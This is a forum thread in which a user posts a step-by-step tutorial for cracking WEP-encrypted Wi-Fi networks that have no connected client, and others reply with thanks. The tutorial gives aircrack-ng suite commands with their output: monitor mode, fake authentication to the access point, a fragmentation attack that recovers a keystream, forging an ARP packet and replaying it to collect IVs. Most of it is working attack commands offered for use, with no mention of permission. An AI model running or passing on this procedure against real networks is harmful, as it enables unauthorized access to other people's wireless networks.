Wireless Network Penetration: Follow Up WEP without Station - Network Security

nice2kn0w

Hi guys,
i wrote this tutorial as follow up to semtex-primed Wireless Network Penetration WEP Encryption semtex-primed Wireless Network Penetration: WEP Encryption
so that we can collect ideas and maybe give some additional ways on how to break WEP especially when no station is associated to the wireless network. The most effective ways to do this is by replaying a previously captured file or by generating our own packet. I may cover the first one in another tutorial, for this one I will use the later by utilising the fragmentation attack.

So to generate our own packet it's important to generate a packet which will definetely be accepted. This requires two things

1. our MAC address is associated with the wireless network
2. the generated packet is an ARP request packet with a particular flag set, namely the FromDS bit.

I assume that you already know how to configure your network card and set it into monitor mode.

Ok, let's get it on ...

start your card in monitor mode (replace wlan0 with your wifi card)



# airmon-ng start wlan0

check if everything worked well by using


# iwconfig

mon0      IEEE 802&#46;11bg  Mode&#58;Monitor  Frequency&#58;2&#46;412 GHz  Tx-Power=27 dBm
          Retry min limit&#58;7   RTS thr&#58;off   Fragment thr&#58;off
          Encryption key&#58;off
          Power Management&#58;off
          Link Quality&#58;0  Signal level&#58;0  Noise level&#58;0
          Rx invalid nwid&#58;0  Rx invalid crypt&#58;0  Rx invalid frag&#58;0
          Tx excessive retries&#58;0  Invalid misc&#58;0   Missed beacon&#58;0

Note: Mode says "Monitor" which is what we want :)

start airodump ( in my example i am using channel 10 and i am writing to file wep-no-sta )


# airodump-ng --channel 10 -w wep-no-sta mon

do a fake authentication with the AP (in my example the AP is = 55:44:33:22:11:00 and attacking client is = 00:11:22:33:44:55)



# aireplay-ng -1 0 -e &lt;essid&gt; -b  55&#58;44&#58;33&#58;22&#58;11&#58;00 mon0 

waiting for beacon frame (ESSID&#58; &lt;essid&gt;) on channel 10
Found BSSID \"55&#58;44&#58;33&#58;22&#58;11&#58;00\" to given ESSID \"&lt;essid&gt;\"&#46;

05&#58;26&#58;41  Sending Authentication Request (Open System) &#91;ACK&#93;
05&#58;26&#58;41  Authentication successful
05&#58;26&#58;41  Sending Association Request &#91;ACK&#93;
05&#58;26&#58;41  Association successful &#58;-) (AID&#58; 1)

Excellent, now we can start the fragmentation attack, which has some limitations you should be aware of:
prism chips seem to suck with that attack
the MAC of the card has to be the source of the attack (option -h)


# aireplay-ng -5 -b 55&#58;44&#58;33&#58;22&#58;11&#58;00 -h 00&#58;11&#58;22&#58;33&#58;44&#58;55 mon0
04&#58;54&#58;41  Waiting for beacon frame (BSSID&#58; 55&#58;44&#58;33&#58;22&#58;11&#58;00) on channel 10
04&#58;54&#58;41  Waiting for a data packet&#46;&#46;&#46;
Read 725 packets&#46;&#46;&#46;

        Size&#58; 344, FromDS&#58; 1, ToDS&#58; 0 (WEP)

              BSSID  =    55&#58;44&#58;33&#58;22&#58;11&#58;00
          Dest&#46; MAC  =   XX&#58;XX&#58;XX&#58;XX&#58;XX&#58;XX
         Source MAC  =  55&#58;44&#58;33&#58;22&#58;11&#58;00

//--CUT FOR OWN SAFETY, YOU KNOW GUYS SAFETY FIRST &#58;)

Use this packet ? y

Note: YOU HAVE TO SAY "y" TO ACCEPT THE PACKET
Can you see the flag set to FromDS ? :)

After you typed in "y" the output will look as follows


Saving chosen packet in replay_src-0528-045527&#46;cap
04&#58;59&#58;19  Data packet found!
04&#58;59&#58;19  Sending fragmented packet
04&#58;59&#58;19  Got RELAYED packet!!
04&#58;59&#58;19  Trying to get 384 bytes of a keystream
04&#58;59&#58;19  Got RELAYED packet!!
04&#58;59&#58;19  Trying to get 1500 bytes of a keystream
04&#58;59&#58;19  Got RELAYED packet!!
Saving keystream in fragment-0528-045919&#46;xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Yeah we have obtained a keystream! I won't explain any math about this file, if you are interested in it search for WEP RC4 weakness. Let's make something more interesting! :) Let's generate a packet

Note: we will use packetforge-ng with the just generated keystream "fragment-0528-045919.xor" as the previous output says to create an arp packet. This requires the knowledge of a source and destination IP address. Well, this is not true for most of the access points in the wild because they just accept a source and destination of 255.255.255.255 which makes the task much more easier :) OK, let's get our hands dirty


# packetforge-ng -0 -a 55&#58;44&#58;33&#58;22&#58;11&#58;00 -h 00&#58;11&#58;22&#58;33&#58;44&#58;55 -k 255&#46;255&#46;255&#46;255 -l 255&#46;255&#46;255&#46;255 -y fragment-0528-045919&#46;xor -w arpforge

Wrote packet to&#58; arpforge

Ok, let's have a look in this packet


# tcpdump -e -vvv -n -s0 -r arpforge
reading from file arpforge, link-type IEEE802_11 (802&#46;11)
05&#58;55&#58;31&#46;757099 WEP Encrypted 258us BSSID&#58;55&#58;44&#58;33&#58;22&#58;11&#58;00 SA&#58;00&#58;11&#58;22&#58;33&#58;44&#58;55 DA&#58;ff&#58;ff&#58;ff&#58;ff&#58;ff&#58;ff Data IV&#58;96f08 Pad 0 KeyID 0

Brillian, a wep encrypted arp packet, now what? Let's send it back to our AP


# aireplay-ng -2 -r arpforge mon0
No source MAC (-h) specified&#46; Using the device MAC (00&#58;11&#58;22&#58;33&#58;44&#58;55)


        Size&#58; 68, FromDS&#58; 0, ToDS&#58; 1 (WEP)

              BSSID  =  55&#58;44&#58;33&#58;22&#58;11&#58;00
          Dest&#46; MAC  =  FF&#58;FF&#58;FF&#58;FF&#58;FF&#58;FF
         Source MAC  = 00&#58;11&#58;22&#58;33&#58;44&#58;55

//--CUT YOU KNOW WHY !!!

Use this packet ? y

ENJOY WATCHING YOUR IV's grow :)

Thanks for reading this guys, if you find any mistakes, please let me know,

Cheers,

nice2kn0w

Xin

Another great tutorial :D, you should use the

&#91;hide&#93;hiddencontenthere&#91;/hide&#93;

tags so people dont juust leech/read without thanking ya :)

nice2kn0w

said:
Another great tutorial :D, you should use the
&#91;hide&#93;hiddencontenthere&#91;/hide&#93;
tags so people dont juust leech/read without thanking ya :)

alright, next time :)

h4ckingURLife

Thanks for the tut. Will try on BT4 sometime. :)
Bookmarked.

Howdy, Stranger!

Top Posters

Who's Online (0)